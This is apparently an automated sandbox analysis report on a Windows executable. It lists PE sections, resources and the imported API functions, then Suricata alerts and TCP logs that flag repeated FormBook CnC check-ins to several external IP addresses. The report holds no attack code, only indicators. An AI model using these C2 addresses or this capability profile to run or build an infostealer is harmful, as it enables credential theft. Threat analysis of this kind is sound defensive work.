IMAGE_DIRECTORY_ENTRY_DEBUG	0xb1010	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc3420	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb1030	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9c000	0x894	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9aa37	0x9ac00	17187df51446e12491449bc34d849147	False	0.5653003205775444	data	6.665680008888402	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9c000	0x2fb92	0x2fc00	8ab1e4a7788882b436d7b30c3a4c9b0c	False	0.3529327552356021	data	5.692798211199345	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xcc000	0x705c	0x4800	c69381d9330fec33b92360836b24215a	False	0.043511284722222224	DOS executable (block device driver @\273\)	0.5845774219571381	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd4000	0xb00f4	0xb0200	9e225df6421aef46d3b3b71a5728ed46	False	0.9627478486515259	data	7.961547207098374	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x185000	0x75cc	0x7600	40b4850993e12fb1b505490e48047c95	False	0.7645325741525424	data	6.798203799100818	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xd45a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xd46d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xd47f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xd4920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xd4c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xd4d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xd5bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xd6480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xd69e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xd8f90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xda038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xda4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xda4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xdaa84	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0xdb110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xdb5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xdbb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xdc1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xdc660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xdc7b8	0xa73ba	data			1.0003153349119545
RT_GROUP_ICON	0x183b74	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x183bec	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x183c00	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x183c14	0x14	data	English	Great Britain	1.25
RT_VERSION	0x183c28	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x183d04	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, IsDebuggerPresent, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentThread, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, ResetEvent, WaitForSingleObjectEx, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, CloseHandle, GetFullPathNameW, EnterCriticalSection, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetCurrentDirectoryW, FindNextFileW, WriteConsoleW
USER32.dll	IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, TranslateMessage, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, GetKeyboardLayoutNameW, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, GetMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, ReleaseDC, GetDC, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, ClientToScreen, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, TrackPopupMenuEx, BlockInput, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, LockWindowUpdate, keybd_event, DispatchMessageW, ScreenToClient
GDI32.dll	EndPath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, GetDeviceCaps, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, CreateCompatibleBitmap, CreateCompatibleDC, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, SelectObject, StretchBlt, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StrokePath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegCreateKeyExW, GetSecurityDescriptorDacl, GetAclInformation, GetUserNameW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, VariantChangeType, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysStringLen, QueryPathOfRegTypeLib, SysAllocString, VariantInit, VariantClear, DispCallFunc, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, SafeArrayDestroyDescriptor, VariantCopy, OleLoadPicture

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T18:47:17.633437+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.4	49730	TCP
2024-11-12T18:47:46.267595+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49736	98.124.224.17	80	TCP
2024-11-12T18:47:46.267595+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49736	98.124.224.17	80	TCP
2024-11-12T18:47:57.501910+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.4	49738	TCP
2024-11-12T18:48:02.074779+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49758	104.21.41.74	80	TCP
2024-11-12T18:48:04.625836+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49770	104.21.41.74	80	TCP
2024-11-12T18:48:07.192766+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49782	104.21.41.74	80	TCP
2024-11-12T18:48:09.777331+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49798	104.21.41.74	80	TCP
2024-11-12T18:48:09.777331+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49798	104.21.41.74	80	TCP
2024-11-12T18:48:15.769963+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49830	172.67.137.238	80	TCP
2024-11-12T18:48:18.276499+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49845	172.67.137.238	80	TCP
2024-11-12T18:48:20.844466+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49861	172.67.137.238	80	TCP
2024-11-12T18:48:23.537681+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49876	172.67.137.238	80	TCP
2024-11-12T18:48:23.537681+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49876	172.67.137.238	80	TCP
2024-11-12T18:48:29.646287+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49908	38.47.232.202	80	TCP
2024-11-12T18:48:32.161899+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49923	38.47.232.202	80	TCP
2024-11-12T18:48:34.724273+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49939	38.47.232.202	80	TCP
2024-11-12T18:48:37.271181+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49955	38.47.232.202	80	TCP
2024-11-12T18:48:37.271181+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49955	38.47.232.202	80	TCP
2024-11-12T18:48:51.297347+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50015	13.248.169.48	80	TCP
2024-11-12T18:48:53.918069+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50016	13.248.169.48	80	TCP
2024-11-12T18:48:56.457408+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50017	13.248.169.48	80	TCP
2024-11-12T18:48:59.030683+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50018	13.248.169.48	80	TCP
2024-11-12T18:48:59.030683+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50018	13.248.169.48	80	TCP
2024-11-12T18:49:05.580737+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50019	38.47.207.164	80	TCP
2024-11-12T18:49:07.928658+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50020	38.47.207.164	80	TCP
2024-11-12T18:49:10.473142+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50021	38.47.207.164	80	TCP
2024-11-12T18:49:13.004291+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50022	38.47.207.164	80	TCP
2024-11-12T18:49:13.004291+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50022	38.47.207.164	80	TCP
2024-11-12T18:49:18.835470+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50023	3.33.130.190	80	TCP
2024-11-12T18:49:21.375038+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50024	3.33.130.190	80	TCP
2024-11-12T18:49:23.922622+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50025	3.33.130.190	80	TCP
2024-11-12T18:49:26.483031+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50026	3.33.130.190	80	TCP
2024-11-12T18:49:26.483031+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50026	3.33.130.190	80	TCP
2024-11-12T18:49:32.628723+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50027	103.21.221.4	80	TCP
2024-11-12T18:49:35.159902+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50028	103.21.221.4	80	TCP
2024-11-12T18:49:37.707674+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50029	103.21.221.4	80	TCP
2024-11-12T18:49:40.253507+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50030	103.21.221.4	80	TCP
2024-11-12T18:49:40.253507+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50030	103.21.221.4	80	TCP
2024-11-12T18:49:46.307375+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50031	203.161.46.201	80	TCP
2024-11-12T18:49:48.868214+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50032	203.161.46.201	80	TCP
2024-11-12T18:49:52.253277+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50033	203.161.46.201	80	TCP
2024-11-12T18:49:54.144579+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50034	203.161.46.201	80	TCP
2024-11-12T18:49:54.144579+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50034	203.161.46.201	80	TCP
2024-11-12T18:50:00.395741+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50035	104.21.4.93	80	TCP
2024-11-12T18:50:02.925585+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50036	104.21.4.93	80	TCP
2024-11-12T18:50:05.476478+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50037	104.21.4.93	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 18:47:45.629592896 CET	49736	80	192.168.2.4	98.124.224.17
Nov 12, 2024 18:47:45.634454966 CET	80	49736	98.124.224.17	192.168.2.4
Nov 12, 2024 18:47:45.634553909 CET	49736	80	192.168.2.4	98.124.224.17
Nov 12, 2024 18:47:45.642328024 CET	49736	80	192.168.2.4	98.124.224.17
Nov 12, 2024 18:47:45.647165060 CET	80	49736	98.124.224.17	192.168.2.4
Nov 12, 2024 18:47:46.267258883 CET	80	49736	98.124.224.17	192.168.2.4
Nov 12, 2024 18:47:46.267323017 CET	80	49736	98.124.224.17	192.168.2.4
Nov 12, 2024 18:47:46.267595053 CET	49736	80	192.168.2.4	98.124.224.17
Nov 12, 2024 18:47:46.286819935 CET	80	49736	98.124.224.17	192.168.2.4
Nov 12, 2024 18:47:46.287048101 CET	49736	80	192.168.2.4	98.124.224.17
Nov 12, 2024 18:47:46.293879986 CET	49736	80	192.168.2.4	98.124.224.17
Nov 12, 2024 18:47:46.298836946 CET	80	49736	98.124.224.17	192.168.2.4
Nov 12, 2024 18:48:01.357827902 CET	49758	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:01.362771034 CET	80	49758	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:01.362838030 CET	49758	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:01.374057055 CET	49758	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:01.379765034 CET	80	49758	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:02.074147940 CET	80	49758	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:02.074696064 CET	80	49758	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:02.074779034 CET	49758	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:02.881688118 CET	49758	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:03.900473118 CET	49770	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:03.905827045 CET	80	49770	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:03.905899048 CET	49770	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:03.916635036 CET	49770	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:03.921643019 CET	80	49770	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:04.622538090 CET	80	49770	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:04.625715971 CET	80	49770	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:04.625835896 CET	49770	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:05.428627968 CET	49770	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:06.484814882 CET	49782	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:06.489753962 CET	80	49782	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:06.489839077 CET	49782	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:06.506959915 CET	49782	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:06.512088060 CET	80	49782	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:06.512145996 CET	80	49782	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:06.512207985 CET	80	49782	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:06.512217999 CET	80	49782	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:06.512252092 CET	80	49782	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:06.512260914 CET	80	49782	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:06.512336969 CET	80	49782	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:06.512346983 CET	80	49782	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:06.512357950 CET	80	49782	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:07.190120935 CET	80	49782	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:07.192686081 CET	80	49782	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:07.192765951 CET	49782	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:08.022089005 CET	49782	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:09.040781021 CET	49798	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:09.046178102 CET	80	49798	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:09.046262026 CET	49798	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:09.053576946 CET	49798	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:09.059902906 CET	80	49798	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:09.773437977 CET	80	49798	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:09.777209997 CET	80	49798	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:09.777331114 CET	49798	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:09.778492928 CET	49798	80	192.168.2.4	104.21.41.74
Nov 12, 2024 18:48:09.784734964 CET	80	49798	104.21.41.74	192.168.2.4
Nov 12, 2024 18:48:14.957611084 CET	49830	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:14.964188099 CET	80	49830	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:14.964308023 CET	49830	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:14.977797031 CET	49830	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:14.985857010 CET	80	49830	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:15.751185894 CET	80	49830	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:15.769788027 CET	80	49830	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:15.769963026 CET	49830	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:16.490794897 CET	49830	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:17.509414911 CET	49845	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:17.515084982 CET	80	49845	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:17.515286922 CET	49845	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:17.525497913 CET	49845	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:17.531016111 CET	80	49845	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:18.257158995 CET	80	49845	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:18.276411057 CET	80	49845	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:18.276499033 CET	49845	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:19.037396908 CET	49845	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:20.056664944 CET	49861	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:20.061737061 CET	80	49861	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:20.061839104 CET	49861	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:20.074323893 CET	49861	80	192.168.2.4	172.67.137.238
Nov 12, 2024 18:48:20.079431057 CET	80	49861	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:20.079451084 CET	80	49861	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:20.079462051 CET	80	49861	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:20.079494953 CET	80	49861	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:20.079504013 CET	80	49861	172.67.137.238	192.168.2.4
Nov 12, 2024 18:48:20.079513073 CET	80	49861	172.67.137.238	192.168.2.4
